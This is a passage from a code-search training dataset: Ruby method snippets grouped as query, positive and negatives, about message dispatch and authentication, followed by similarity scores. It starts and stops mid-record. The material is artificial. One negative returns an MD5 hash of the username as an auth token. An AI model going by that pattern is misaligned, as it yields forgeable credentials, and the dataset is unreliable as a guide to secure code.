User.find(decoded_auth_token[:user_id])\n if @current_user.present? && !@current_user.active?\n render json: { error: \"Session expired!\" , message: \"account is suspended\" }\n else\n @current_user\n end\n\n end\n\n # fail NotAuthenticatedError unless user_id_included_in_auth_token?\n\n rescue JWT::ExpiredSignature\n $redis.hdel(request.headers[\"HTTP_AUTH_TOKEN\"].split(\".\").last, \"client_id\")\n raise AuthenticationTimeoutError\n rescue JWT::VerificationError, JWT::DecodeError\n raise NotAuthenticatedError\n end\n end\n end", "def login\n @user = ::Accounts::Account.find_for_database_authentication(mobile: \n params.require(:data).require(:mobile))\n\n if @user && @user.valid_password?(\n params.require(:data).require(:password))\n sign_in(@user)\n # @user.reset_authentication_token! # make sure the user has a token generated\n @user.ensure_authentication_token!\n render_create_success @user, :with_token\n else\n warden.custom_failure!\n render_error t('devise.failure.invalid'), :unauthorized\n end\n end", "def login()\n begin\n $platform.authorize( jwt: \"SANDBOX_JWT\" )\n detect_sms_feature()\n rescue StandardError => e\n puts (\"Unable to authenticate to platform. Check credentials.\" + e.to_s)\n end\nend", "def do_authentication\n params.required(:id)\n params.required(:token)\n\n # Grab the device that is trying to authenticate\n unathenticated_error unless @api_consumer.is_a? Device\n device = @api_consumer\n\n @session = Session.find(params[:id])\n\n return handle_error('An authentication attemp has already been made against this session.', 'invalid_request_error', 406) unless @session.is_authenticated.nil?\n\n # Get the account for that device/service\n device_account = device.device_accounts(@session.service_id).first\n\n # Add the device's IP address to the session, regardless if the authentication is sucessful or not\n @session.device_ip_address = request.remote_ip\n @session.device = device\n\n if device_account\n begin\n # Create an verify key from the device's public key\n raise unless (verify_key = Crypto::VerifyKey.new(device_account.public_key, :hex))\n rescue\n return handle_error('A public key is not available for the device.', 'api_error', 500)\n end\n \n begin\n # Verify the provided token with the device's public key\n @session.is_authenticated = verify_key.verify(@session.token, params[:token], :hex)\n rescue\n # Unsuccessful authentication\n handle_error(\"Unsuccessful authentication.\", 'invalid_request_error', 401)\n end\n else\n handle_error('There is no account for this device with this service. You must register the device first to the service before authenticating.')\n end\n\n # Make sure we didn't mess up\n api_error_check && return\n\n @session.save\n end", "def login\n\n if params[:username] && params[:token]\n @user = token_based_login\n end\n\n if @user\n set_session_headers\n render json: { username: @user.username, auth_token: get_md5_digest(params[:username]), logged_in: true }\n else\n render json: { logged_in: false }, status: 401\n end\n end" ]
[ "0.7503731", "0.7146259", "0.70191336", "0.6874317", "0.6768715", "0.66923356", "0.6683419", "0.65960443", "0.6595334", "0.653794", "0.6534046", "0.65182364", "0.6511301", "0.65111464", "0.64960945", "0.64690644", "0.6464938", "0.6450722", "0.64376193", "0.6430358", "0.6426855", "0.6412689", "0.6405261", "0.6344785", "0.6344701", "0.63230556", "0.6312005", "0.6307798", "0.6299819", "0.62901056", "0.6282923", "0.6276705", "0.6264573", "0.62607753", "0.6258264", "0.62567514", "0.62528753", "0.62322253", "0.62254083", "0.62170255", "0.62170255", "0.62170255", "0.62170255", "0.62170255", "0.62170255", "0.62170255", "0.62170255", "0.62170255", "0.62126863", "0.62126863", "0.6207918", "0.62057835", "0.6199931", "0.6197071", "0.6194908", "0.61913097", "0.61882085", "0.6187407", "0.6176343", "0.61754847", "0.6174009", "0.6171522", "0.61682355", "0.6164324", "0.6161388", "0.61612976", "0.6155848", "0.6144295", "0.61414844", "0.6140937", "0.61373925", "0.6136973", "0.61358035", "0.61357784", "0.6131859", "0.6122338", "0.6117485", "0.6103327", "0.61029637", "0.6098856", "0.6092768", "0.6087781", "0.6086765", "0.6085872", "0.6084358", "0.6077925", "0.60721123", "0.60721123", "0.60639274", "0.6053102", "0.6045621", "0.6045621", "0.6045446", "0.6044062", "0.6039955", "0.60351264", "0.6034721", "0.60323125", "0.6027268", "0.6027049" ]
0.6986119
3
Removes the given object from the dispatcher queue of the message +msgName+.
def del_msg_listener( msgName, object ) @msgNames[msgName].delete object if defined? @msgNames end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def del_msg_name( msgName )\n @msgNames.delete msgName if defined? @msgNames\n end", "def remove_message(name)\n\t\tend", "def remove_message(id)\n with_queue_control do |control|\n control.remove_message(id)\n end\n end", "def unsubscribe(message_name)\n @transport.unbind(message_name, @queue)\n \n #has key check\n @subscriptions.delete(message_name)\n \n end", "def remove_from_queue!(user)\n $redis.lrem(self.class.redis_key_for_user(user), 0, to_redis_object)\n end", "def removePool(msgstr, ipaddr)\n nmsg = MsgPacket::new\n nmsg.demarshallMsg(msgstr, ipaddr)\n nmsg.updatetime(nmsg)\n @MsgpoolObj.operateMsgPool(DELETE_MESSAGE, nmsg)\n end", "def unreceive(message=nil)\n for msg, receivers in SendReceive.registry\n next if message and message.to_s != msg\n receivers.delete_if { |_, max_object| max_object == $max_object } # $max_object is the current max object\n end\n end", "def receive(id)\n @queues[id].pop\n end", "def remove\n @queue.pop\n end", "def remove_from_queue\n if in_queue?\n decrement_queue_positions_on_lower_items\n update_attribute queue_position_column, nil\n end\n end", "def delete\n @client.post('/api/del_msg', id: get_attribute(:name))\n end", "def unsubscribe(name)\n if subscriptions.has_key? name\n subscriptions[name].queue.unsubscribe(:nowait => false)\n subscriptions.delete(name)\n end\n end", "def unsubscribe(q_name, headers={}, subId=NIL)\n q = @queues[q_name]\n unless q.nil?\n q.remove_subscription\n unless q.has_subscription?\n @queues.delete(q_name)\n @queue_names.delete(q_name)\n end\n end\n end", "def remove(obj, name)\n id = get_id(obj)\n if @finalizers[id]\n finalizer = @finalizers[id].delete name if @finalizers[id][name]\n @finalizers.delete id if @finalizers[id].empty?\n finalizer\n end\n end", "def unregister(user_id)\r\n self.message_boxes.delete(user_id.to_s)\r\n end", "def clear_queue(queue_name)\r\n execute :delete, \"#{queue_name}/messages\", {}, :x_ms_version => '2009-09-19'\r\n end", "def removeAction _obj, _args\n \"_obj removeAction _args;\" \n end", "def remove!\n zombie_check\n self.class.remove(@name)\n end", "def remove_from_queue\n Resque.remove_delayed(SchedulerJob, :id => self.id)\n end", "def removePool(msg)\n\ti = 0\n found = false\n while( i < @msgPool.length )\n pmsg = MsgPacket.new\n pmsg = @msgPool[i]\n if ( (pmsg.ipaddr == msg.ipaddr) && \n (pmsg.cmd == msg.cmd) && (pmsg.gettimetag <= msg.gettimetag) )\n found = true\n break\n end\n i = i + 1\n end \n\tif ((found == true) && (i < @msgPool.length))\n\t @msgPool.delete_at(i)\n\t @msgPool.compact!\n\tend\n end", "def remove!(item)\n @queue.delete(item)\n end", "def queue_msg(msg)\n dispatch_msg(msg)\n end", "def remove message\n @events.delete message.sequence\n end", "def unsubscribe(name)\n id = @subs[name]\n\n self.send(msg: 'unsub', id: id)\n end", "def pop_from_queue(queue_class, user_id:, namespace:)\n queue_class\n .new(user_id: user_id, namespace: namespace)\n .pop\n end", "def unpop obj\n was_empty = @q.empty?\n case obj\n when SimultaneousQueueEntries\n case obj.size\n when 0\n was_empty = false # just to prevent the inc\n when 1\n @q.unshift obj.first\n else\n @q.unshift obj\n end\n else\n @q.unshift obj\n end\n @component.inc_queue_ready_count if was_empty\n end", "def remove\n @queue.shift\n end", "def unsubscribe(name)\n EM.schedule { @subs.delete name }\n end", "def dequeue; @queue.pop end", "def remove\n @queue.shift\n end", "def remove_callback(callback_name)\n callbacks.delete(callback_name)\n callbacks_queue.delete(callback_name)\n end", "def deq\n @queued = false\n nil\n end", "def remove\n @queue.shift\n end", "def kbRemoveTopic _obj, _args\n \"_obj kbRemoveTopic _args;\" \n end", "def destroy\n profile = calc_profile\n cmd = \"jms-queue #{profile} remove --queue-address=#{@resource[:name]}\"\n bring_down 'JMS Queue', cmd\n end", "def remove_from_queue(queue, data)\n prioritized?(queue) ? z_remove_from_queue(queue, data) : super\n end", "def unregister_message_handler(message)\n @messages.delete(message)\n end", "def destroy\n # delete a specific message\n end", "def removeItemFromBackpack _obj, _args\n \"_obj removeItemFromBackpack _args;\" \n end", "def removeHandgunItem _obj, _args\n \"_obj removeHandgunItem _args;\" \n end", "def destroy\n if is_runasdomain\n profile = \"--profile=#{@resource[:profile]}\"\n else\n profile = ''\n end\n cmd = \"jms-queue #{profile} remove --queue-address=#{@resource[:name]}\"\n bringDown \"JMS Queue\", cmd\n end", "def remove_message_reaction(data); end", "def supprimerMessage(indice)\r\n\t\t@lstMessages.delete(indice) if @lstMessages.has_key?(indice)\r\n\tend", "def _put_back_on_queue(message)\n future = nil\n _redis.multi do\n _redis.rpush(@queue, message)\n future = _redis.lrem(@in_progress_queue, 1, message)\n end\n removed = future.value\n if removed !=1\n RailsPipeline.logger.error \"ERROR: Didn't remove message from in_progress queue?!!!\"\n end\n end", "def remove\n raise QueueUnderflow if empty?\n result = @info.shift\n changed\n notify_observers(self, :remove, result)\n result\n end", "def removeItem _obj, _args\n \"_obj removeItem _args;\" \n end", "def destroy\n # delete a specific message\n end", "def destroy\n get_message().delete\n end", "def delete_message(queue_name, message_id, pop_receipt)\r\n execute :delete, \"#{queue_name}/messages/#{message_id}\", { :pop_receipt => pop_receipt }\r\n end", "def removeNamedItem(name)\n getNamedItem(name).remove\n end", "def clear_queue(queue_name)\n if queue_name.kind_of?(Class)\n queue_name = queue_name.instance_variable_get(\"@queue\")\n end\n if queue_name == :delayed\n Resque.reset_delayed_queue\n else\n Resque.redis.del(\"queue:#{queue_name}\")\n Resque.redis.del(\"resque:queue:#{queue_name}\")\n end\n end", "def unregister(obj)\n if @observers.include?(obj) then \n @observers.delete_at(@observers.index(obj))\n @logger.debug \"Removed observing object #{obj} from the list\" if not self.logger.nil?\n else\n raise FileStoreException, \"Object #{obj} isn't a registered observer\"\n end\n end", "def destroy\n # delete a specific message\n end", "def rm(msgid)\n req(\"rm\", \"\", \"\", msgid, \"\")\n end", "def unsubscribe!\n message_class = whoami\n\n debug_me{[ :message_class ]}\n\n broker.unsubscribe!(message_class) if broker_configured?\n end", "def z_remove_from_queue(queue, data)\n raise PipelineNotSupported if @redis.client.is_a?(Redis::Pipeline)\n\n priority = extract_priority(data)\n z_item = @redis.zrevrange(redis_key_for_queue(queue), 0, -1).find do |item|\n (priority && item.include?(data)) || \\\n (item.include?(data[/\"class\":\"[^ \"]+/]) && item.include?(data[/\"args\":.+/]))\n end or return\n @redis.zrem(redis_key_for_queue(queue), z_item)\n end", "def dispatch_msg( msgName, *args )\n if defined? @msgNames and @msgNames.has_key? msgName\n @msgNames[msgName].each do |obj|\n obj.call( *args )\n end\n end\n end", "def pull_queue(ownnick)\n usr = User.first(:nickname=>ownnick) #find own record\n return ret_fail(ownnick+' not found in db') if usr == nil #must be error\n\n messages = []\n usr.messages.each do |msg|\n messages << msg.data\n msg.destroy\n end\n\n return {'response'=>true, 'messages'=> messages} #return message queue\nend", "def remove\n if empty?\n raise \"Can't remove if queue is empty\"\n else\n @info.shift\n end\n end", "def remove\n if empty?\n raise \"Can't remove if queue is empty\"\n else\n @info.shift\n end\n end", "def remove\n if empty?\n raise \"Can't remove if queue is empty\"\n else\n @info.shift\n end\n end", "def remove_actor(actor_id)\r\n # アクターを削除\r\n @actors.delete($game_actors[actor_id])\r\n # プレイヤーをリフレッシュ\r\n $game_player.refresh\r\n end", "def remove_path_from_queue(path)\n redis.srem paths_to_visit_key, path\n end", "def requeue_request(req)\n msg = req[:sqs_msg]\n body = YAML.load(msg.body)\n if body[:original_req_id]\n @request_queue.send_message(message_body: msg.body, delay_seconds: 10)\n else\n body[:original_req_id] = msg.message_id\n @request_queue.send_message(message_body: YAML.dump(body), delay_seconds: 10)\n end\n msg.delete\n end", "def unevent(name)\n Events.remove(name)\n end", "def remove_by_name(name)\n fw = get_by_name(name)\n if (fw != nil)\n return remove(fw)\n end \n end", "def remove_by_name(name)\n p = get_by_name(name)\n if (p != nil)\n return remove(p)\n end \n end", "def destroy\n destroy_q(@message, messages_url)\n end", "def purge_queue(name, options = {})\n subject.queue_purge(name, options)\n end", "def remove_actor(actor_id)\n @actors.delete(actor_id)\n $game_player.refresh\n end", "def destroy_item(klass, name, type_name)\n begin\n object = klass.load(name)\n object.destroy\n ui.warn(\"Deleted #{type_name} #{name}\")\n rescue Net::HTTPServerException\n ui.warn(\"Could not find a #{type_name} named #{name} to delete!\")\n end\n end", "def destroy_item(klass, name, type_name)\n begin\n object = klass.load(name)\n object.destroy\n ui.warn(\"Deleted #{type_name} #{name}\")\n rescue Net::HTTPServerException\n ui.warn(\"Could not find a #{type_name} named #{name} to delete!\")\n end\n end", "def destroy_item(klass, name, type_name)\n begin\n object = klass.load(name)\n object.destroy\n ui.warn(\"Deleted #{type_name} #{name}\")\n rescue Net::HTTPServerException\n ui.warn(\"Could not find a #{type_name} named #{name} to delete!\")\n end\n end", "def removeMPEventHandler _obj, _args\n \"_obj removeMPEventHandler _args;\" \n end", "def unsubscribe(queue_name = nil)\n client.unsubscribe(\"/queue/#{queue_name || queue}\")\n end", "def unsubscribe(cls)\n @subscribers.delete(name)\n end", "def remove(name)\n @collection.delete_if { |f| f.name == name }\n end", "def removeEventHandler _obj, _args\n \"_obj removeEventHandler _args;\" \n end", "def remove(path)\n @queue_for_removal << path\n end", "def destroy_item(klass, name, type_name)\n object = klass.load(name)\n object.destroy\n ui.warn(\"Deleted #{type_name} #{name}\")\n rescue Net::HTTPServerException\n ui.warn(\"Could not find a #{type_name} named #{name} to delete!\")\n end", "def remove!(*objects, &block)\n if block\n # Delete by query not supported by queue, so send to server\n session.remove!(*objects, &block)\n else\n remove(*objects)\n end\n end", "def queue_unbind(name, exchange, binding_key, arguments: {})\n write_bytes FrameBytes.queue_unbind(@id, name, exchange, binding_key, arguments)\n expect :queue_unbind_ok\n nil\n end", "def removeMagazine _obj, _args\n \"_obj removeMagazine _args;\" \n end", "def purge\n @channel.queue_purge(@name)\n end", "def remove name\n delete(name)\n end", "def remove(name)\n self.class.remove(name, @jira_key)\n end", "def remove(pid)\n @dead_queues.unshift(@pids[pid]) # keep track of queues that pid was running, put it at front of list\n @pids.delete(pid)\n procline\n end", "def removeSimpleTask _obj, _args\n \"_obj removeSimpleTask _args;\" \n end", "def remove_handler(name, handler)\n return unless subscriptions.has_key? name\n subscriptions[name].handlers.delete(handler)\n end", "def delete_queue(queue_name)\r\n execute(:delete, queue_name, {}, {:x_ms_version => '2009-09-19'})\r\n end", "def remove_messages(filter = nil)\n with_queue_control do |control|\n control.remove_messages(filter)\n end\n end", "def unlink(actor)\n current_actor = Thread.current[:actor]\n\n actor.notify_unlink(current_actor.proxy)\n current_actor.notify_unlink(actor)\n end", "def pop(options = {})\n @api_adapter.pop_from_queue(self.name, options)\n end", "def message_from_queue\n if msg = @connection.pop\n message = msg.body.delete(\"\\n\")\n msg.finish\n message\n end\n end", "def pop\n if @q.empty?\n raise QueueEmptyError, \"tried to pop empty queue in #{@component.inspect}\"\n end\n obj = @q.shift\n @component.dec_queue_ready_count if @q.empty?\n obj\n end", "def _pop_receiver\n @_receivers.pop\n end", "def remove_actor(actor)\n active_actors.delete(actor.actor_id)\n end", "def delete(msg)\n read_write()\n uid = (msg.kind_of?(EasyIMAP::Message) ? msg.uid : msg)\n @conn.uid_store(uid, '+FLAGS', [:Deleted])\n expunge()\n end", "def remove(obj)\n @set.removeObject obj\n end", "def destroy\n @message.destroy\n end" ]
[ "0.7025907", "0.65422636", "0.6183906", "0.61722475", "0.6163905", "0.60788625", "0.5942539", "0.58861667", "0.58853036", "0.5862394", "0.58507943", "0.58303237", "0.5804372", "0.5757792", "0.5730907", "0.5727485", "0.5708007", "0.5686499", "0.5677829", "0.56621295", "0.5661504", "0.56520104", "0.5649291", "0.56197435", "0.5618549", "0.5600508", "0.55985385", "0.5586116", "0.5586111", "0.55704004", "0.5568893", "0.5560242", "0.5555539", "0.5554183", "0.55334705", "0.5526654", "0.55213434", "0.5515323", "0.55121404", "0.5510749", "0.55106443", "0.54935753", "0.5471921", "0.5471816", "0.5471486", "0.5465287", "0.5457436", "0.5444435", "0.544411", "0.5438919", "0.5433958", "0.54305494", "0.54186404", "0.54185677", "0.54058236", "0.5375041", "0.5369819", "0.53672606", "0.53600466", "0.53600466", "0.53600466", "0.53557765", "0.5355177", "0.53483254", "0.534738", "0.5344838", "0.5343587", "0.5342551", "0.53325796", "0.53287476", "0.531327", "0.531327", "0.531327", "0.53069705", "0.5306691", "0.53066874", "0.52959186", "0.529476", "0.52858293", "0.52746123", "0.52552354", "0.52342933", "0.5230287", "0.5229509", "0.522757", "0.52081", "0.5203127", "0.5200522", "0.5196271", "0.5194943", "0.51924515", "0.5182643", "0.5175709", "0.5174847", "0.5159742", "0.51572436", "0.5152299", "0.5149364", "0.5147951", "0.5140031" ]
0.75973785
0
Adds a new message target called +msgName+
def add_msg_name( msgName ) @msgNames = {} unless defined? @msgNames @msgNames[msgName] = [] unless @msgNames.has_key? msgName end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def add_message(name, message)\n\t\tend", "def addTarget(name=nil, note=nil)\n @addTargetBtn.click\n return EditTarget.new.enterTargetInformation(name)\n end", "def setup_log_message\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n text = @acts[1].gsub(/<name>/i) { self.name }\n text.gsub!(/<target>/) { target.name rescue \"\" }\n get_scene.log_window.add_text(text)\n end", "def add_message(text,name=nil)\n debug \"add message\"\n puts \"WWWTHUNHEOUTSN\"\n puts @glade['scrolledwindow1'].hadjustment.value\n puts @glade['scrolledwindow1'].hadjustment.upper\n puts @glade['scrolledwindow1'].hadjustment.lower\n @talk.buffer.insert @talk.buffer.end_iter,\"#{name || @contact.name}: \", @nickname_tag\n @talk.buffer.insert @talk.buffer.end_iter, \"#{text}\\n\"\n end", "def msg(target, message)\n buffer_output Net::YAIL::OutgoingEvent.new(:type => :msg, :target => target, :message => message)\n end", "def target_name=(new_value)\n @target_name = new_value unless const_defined?(:TargetName)\n end", "def addTarget(tcId, target)\n path = PATH_ADD_TARGET.dup\n path[PLACEHOLDER_TC_ID] = tcId\n return sendRequest('POST', path, target)\n end", "def add_message(reason, klass, name, priority, object, *message)\r\n __add_task(reason, klass, MessageTask.new(name, priority, object, message))\r\n end", "def add_target(target)\n\n # If there are no targets yet, use this one as the default\n if @active_target == nil #@targets.empty?\n target.active = true\n @active_target = target\n end\n\n # Push the new target\n @targets[target.name] = target\n\n #write out the config\n dump_settings\n\n puts \"Target Added\"\n target.print\n end", "def enterTargetInformation(name)\n setTargetName(name) if not name.nil?\n return self\n end", "def target(name, &block)\n t = TargetDef.new(name)\n @targets.push(t)\n\n block.call(t)\n end", "def addTarget(tcId, target)\n path = @@PATH_ADD_TARGET.dup\n path[@@PLACEHOLDER_TC_ID] = tcId\n return sendHttpRequest(target, \"POST\", path)\n end", "def del_msg_name( msgName )\n @msgNames.delete msgName if defined? @msgNames\n end", "def add(object)\n begin\n target = Target.new(object, self)\n rescue\n error \"Error parsing target '#{object[Bee::Target::KEY]}': #{$!}\"\n end\n error \"Duplicate target definition: '#{target.name}'\" if\n @hash.has_key?(target.name)\n @hash[target.name] = [target]\n # record first target for default\n end", "def msg(msg)\n if @name\n \"[#{name}] #{msg}\"\n else\n msg\n end\n end", "def add_mentions(name, mentions)\n find_or_create(name).add_mentions(names_to_references(mentions))\n self\n end", "def lookup_message(name)\n\t\tend", "def send_message_to_target(message:, session_id: nil, target_id: nil)\n {\n method: \"Target.sendMessageToTarget\",\n params: { message: message, sessionId: session_id, targetId: target_id }.compact\n }\n end", "def send message, targets\n end", "def add_message room_name, message\n unless @@room_data[room_name]['messages'].include? message\n messages = @@room_data[room_name]['messages']\n messages.push message\n @@room_data[room_name]['messages'] = messages[-500,500] if messages.length > 500\n end\n \n return if room_name != @room\n scroll_down = @log.scroll_top >= @log.scroll_max - 10\n @log.append do\n flow do\n para strong(message['user']['name'] || message ['user']['id']), ': ', message['message']\n end\n end\n \n while @log.contents.length > 500\n @log.contents.first.remove\n end\n \n @log.scroll_top = @log.scroll_max\n end", "def dispatch_msg( msgName, *args )\n if defined? @msgNames and @msgNames.has_key? msgName\n @msgNames[msgName].each do |obj|\n obj.call( *args )\n end\n end\n end", "def target_name(target_name = nil)\n @target_name = target_name unless target_name.nil?\n \n return 'default' if @target_name.nil?\n @target_name\n end", "def remove_message(name)\n\t\tend", "def send_message(queue_name_or_url, msg)\n Adapter.send_message queue_url(queue_name_or_url), msg\n end", "def send_message msg\n timeline << Spinoza::Event[actor: dst, time: time_now + latency,\n action: :recv, msg: msg]\n end", "def add_message(message,opts={})\n # Append the message to @messages\n (@messages ||= []) << message\n end", "def target_object_name=(value)\n @target_object_name = value\n end", "def message(msg)\n\t\t@messager.message(msg)\n\tend", "def message_me(msg)\n @msg = msg\n mail subject: \"From: #{@msg.name} : #{@msg.email} says : #{@msg.subject}\", body: \"From: #{@msg.name} @ #{@msg.email} | Subject: #{@msg.subject} | Body of email : #{@msg.content}\"\n #@msg.content << \"From : #{@msg.name} :: Subject : #{@msg.subject}\" # previous one\n end", "def test_create_reply_to_reply_to_reply_to_standalone_message_about_nothing\r\n about = nil\r\n reply_to = messages(:matt_reply_to__kevin_reply_to__andy_to_kevin_about_nothing)\r\n send_message(@tim, @matt, reply_to, about)\r\n end", "def add_name_translation(text, lang_code)\n name_translation = NameTranslation.create(:text => text, :lang_code => lang_code)\n\n name_translations << name_translation\n end", "def add_target!(details)\n r = if details.is_a?(UpstreamTarget)\n details\n else\n UpstreamTarget.from_hash(details, api_client: api_client)\n end\n\n r.upstream = self\n r.save\n end", "def add_target!(details)\n r = if details.is_a?(UpstreamTarget)\n details\n else\n UpstreamTarget.from_hash(details, api_client: api_client)\n end\n\n r.upstream = self\n r.save\n end", "def del_msg_listener( msgName, object )\n @msgNames[msgName].delete object if defined? @msgNames\n end", "def add_message_builder(name, &block)\n give_name(name, block)\n @message_builders << block\n end", "def send_message(msg)\n\t\t\tdb_update({}, {'$push' => { 'messages' => msg.id.to_db } })\n\t\t\tmessages.add(msg)\n\t\tend", "def create_message(queue_name, message_text, options = {})\n query = {}\n\n unless options.empty?\n query[\"visibilitytimeout\"] = options[:visibility_timeout] if options[:visibility_timeout]\n query[\"messagettl\"] = options[:message_ttl] if options[:message_ttl]\n query[\"timeout\"] = options[:timeout].to_s if options[:timeout]\n end\n\n uri = messages_uri(queue_name, query)\n body = Serialization.message_to_xml(message_text, options[:encode])\n\n response = call(:post, uri, body, {}, options)\n Serialization.queue_messages_from_xml(response.body, options[:decode])\n end", "def on_newmessage(time, userid, username, msg)\n end", "def target(name, options = {})\n parent = @target_definition\n @target_definitions[name] = @target_definition = TargetDefinition.new(name, parent, self, options)\n yield\n ensure\n @target_definition = parent\n end", "def add_to_message_queue(options = {})\n QueuedMessage.create!(:message => self, :server_id => @database.server_id, :batch_key => self.batch_key, :domain => self.recipient_domain, :route_id => self.route_id, :manual => options[:manual]).id\n end", "def add_msg(msg, type = nil)\n ##### local message event\n puts msg\n $stdout.flush\n end", "def add message\n @events[message.sequence] = message\n end", "def addTarget(target, result, usableItems)\n t = self[target]\n if t.nil?\n t = Target.new(target.to_s)\n (@targets ||= []) << t\n @targets.sort!\n end\n t.addResult(result, usableItems)\n end", "def add_message(type, text, id=nil)\n @messages ||= []\n @messages.push({type: type, text: text, id: id})\n end", "def add_to_message_queue(msg_type, socket_send_message)\n #message = [msg_type] # Cria o array de mensagens\n # Verifica todos os objetos em comum e partilha entre os jogadores\n # [:uuid, :x, :y, :direction].each do |instance|\n # # Pega cada instancia do objeto e adiciona na mensagem \n # end\n @messages.push << \"#{msg_type}|#{socket_send_message}\"\n p \" Messages Push --> #{msg_type}|#{socket_send_message}\"\n end", "def test_create_reply_to_reply_to_standalone_message_about_nothing\r\n about = nil\r\n reply_to = messages(:kevin_reply_to__andy_to_kevin_about_nothing)\r\n send_message(@matt, @kevin, reply_to, about)\r\n end", "def add_msg(msg, sender)\n\n @chatters.each do |chatter_id, chatter|\n if chatter_id != sender.id\n chatter.client_socket.puts \"#{sender.id} said: #{msg}\"\n end\n end\n\n end", "def add_to_message_queue(msg_type, socket_send_message)\n #message = [\"#{msg_type}|#{socket_send_message}|\\n\"] # Cria o array de mensagens\n # Verifica todos os objetos em comum e partilha entre os jogadores\n # [:uuid, :x, :y, :direction].each do |instance|\n # # Pega cada instancia do objeto e adiciona na mensagem \n # end\n @messages.push << \"#{msg_type}|#{socket_send_message}\"\n p \"CLIENT: Added to queue: #{@messages}\"\n end", "def add_message_send message\n @drb_messages_sent += 1\n\n msg = message.message\n argc = message.argument_count\n\n source = message.source\n destination = message.destination\n\n @last_peer_send[source][destination] = message.timestamp\n @last_sent_message[source][destination] = msg, argc, message.allocations\n end", "def generateMsg(msgTxt)\r\n msgOut = \"\"\r\n msgData = @context.messages[msgTxt]\r\n\r\n if (nil != msgData)\r\n msgOut = @template.msg(msgData)\r\n end\r\n\r\n msgOut\r\n end", "def textfield_named target_name\n wait do\n target = e_textfields.detect { |e| e.name == target_name }\n raise \"Textfield named #{target_name} not found\" unless target\n target\n end\n end", "def add_message(type, text)\n @messages ||= []\n @messages.push({type: type, text: text})\n end", "def target_name(*args)\n if args.blank?\n (const_defined?(:TargetName) ? const_get(:TargetName) : (@target_name || target_model.name.underscore.titleize)).to_s\n else\n self.target_name = args.first\n end\n end", "def post_message\n raise InvalidRecipientError, \"No target conversation specified. Cannot send message.\"\n end", "def setTargetName(text)\n @targetNameEntry.enterText(text) if not text.nil?\n # press TAB on keyboard to set the target name\n type(waitForObject(@targetNameEntry.symbolicName), \"<Tab>\")\n return self\n end", "def add(msg)\n attributes = {:message => msg, :conversation => msg.conversation}\n attributes[:mailbox] = @type.to_s unless @type == :all\n attributes[:read] = msg.sender.id == @user.id\n mail_msg = MailItem.new(attributes)\n @user.mail_items << mail_msg\n return mail_msg\n end", "def create_msg(txt)\n if :locale == 'de'\n self.action = \"Nachricht: '#{txt}'\"\n else\n self.action = \"Message: '#{txt}'\"\n end\n end", "def on_target(attr)\n @targets << attr['id'] if @buffer_targets\n end", "def xsend (name, *args, &block)\n @messages << [name, args, block]\n end", "def define_sending_method(name)\n self.class.send(:define_method, name) do |*args|\n @queue.send_message build_method_call(name, *args)\n end\n end", "def add_effect_message(msg)\n @effect_results.push(msg)\n end", "def addrecipient(msgid, recipient)\n req(\"addrecipient\", recipient, \"\", msgid, \"\")\n end", "def target(*args)\n if args.blank?\n const_defined?(:Target) ? const_get(:Target) : (@target || name[0..-5].classify.constantize)\n else\n self.target = args.first\n end\n end", "def add_member_name(name)\n\n end", "def test_create_reply_to_reply_to_standalone_message_about_kevins_review_59\r\n reply_to = messages(:tim_reply_to__andy_to_kevin_about_kevins_review_59)\r\n about = Factory :review\r\n about.user = @kevin\r\n send_message(@matt, @tim, reply_to, about)\r\n end", "def message( *msgs )\n\t\t\tself.class.message( *msgs )\n\t\tend", "def message( *msgs )\n\t\tself.class.message( *msgs )\n\tend", "def for_target(target)\n @target_name = target[:target_name].to_s\n return self\n end", "def newMessage\n message = Message.last\n\n MagicMailer.newMessage(message)\n end", "def test_create_reply_to_up_in_chain_reply_to_standalone_message_about_nothing\r\n about = nil\r\n reply_to = messages(:kevin_reply_to__andy_to_kevin_about_nothing)\r\n send_message(@tim, @kevin, reply_to, about)\r\n end", "def target_name\n decode_string_member(:target_name)\n end", "def create(name, text)\n @driver.addRule([name], [text])\n end", "def set_message(msg)\n @message = msg\n end", "def message(text)\n @text_queue.push text\n end", "def new_message\n end", "def send_message(msg); end", "def add (level, message, options={})\n configuration = {\n :flash => true,\n :name => nil,\n :remember => false,\n :seen_in => nil,\n :seen_since => nil,\n }.update(options)\n\n # We'll need a valid name for a few different operations\n configuration[:name] = message.object_id if configuration[:name].nil?\n\n # force message names to be strings\n configuration[:name] = configuration[:name].to_s\n\n # Force :flash to false if :remember is true\n configuration[:flash] = false if configuration[:remember]\n\n # don't add if one of the see options was given, and it was already seen\n return if configuration[:seen_in] and seen?(configuration[:name], :in => configuration[:seen_in])\n return if configuration[:seen_since] and seen?(configuration[:name], :since => configuration[:seen_since])\n\n # If it already exists, delete the old one first\n destroy(configuration[:name], false)\n\n # Wow, we made it this far, I guess we better add the message\n message = OpenStruct.new({\n :name => configuration[:name],\n :level => level,\n :message => message,\n :options => configuration,\n })\n\n (@messages[level] ||= []) << message\n @by_id[configuration[:name]] = [message, level]\n end", "def send_to(other_player, msg)\n\t\t\tm = GreyGoo::Message.new({ from: self, to: other_player, text: msg })\n\t\t\tm.save!\n\t\t\tother_player.send_message(m)\n\t\tend", "def addMsg(msg)\r\n puts \"addMsg: #{msg}\" if $DEBUG\r\n\r\n if (inIfMsgs?)\r\n @curIfMsgs << msg\r\n elsif (inElseMsgs?)\r\n @curElseMsgs << msg\r\n end\r\n end", "def target_def; target.name; end", "def setMessage(msg)\n @message = msg\n end", "def rezm_link_to_create_message\n link_to \"Write\", new_message_path\n end", "def test_create_reply_to_standalone_message_about_kevins_review_59\r\n reply_to = messages(:andy_to_kevin_about_kevins_review_59)\r\n about = Factory :review\r\n about.user = @kevin\r\n send_message(@tim, @andy, reply_to, about)\r\n end", "def target_name\n target_node.name\n end", "def message_new\n @employees = get_all_employees\n\t emp_details = find_employee(params[:emp_name])\n\t @message = Message.new\n\t @message.resume_id = params[:id]\n\t @message.sent_to = emp_details\n\t @message.sent_by = get_logged_employee\n\t @message.message = params[:message]\n respond_to do |format|\n if @message.save\n flash[:success] = \"successfully sent the message to \\'#{params[:emp_name]}\\'.\"\n\t else\n flash[:danger] = \"unable to delivery the message.\"\n\t end\n\t end\n end", "def assignedTarget _args\n \"assignedTarget _args;\" \n end", "def add_message(client_id, data, ttl)\n id = @id_counter.to_s(16)\n @id_counter += 1\n message = MockMessage.new(id, self, client_id, data, ttl)\n @messages << message\n message\n end", "def send_to_target(name, 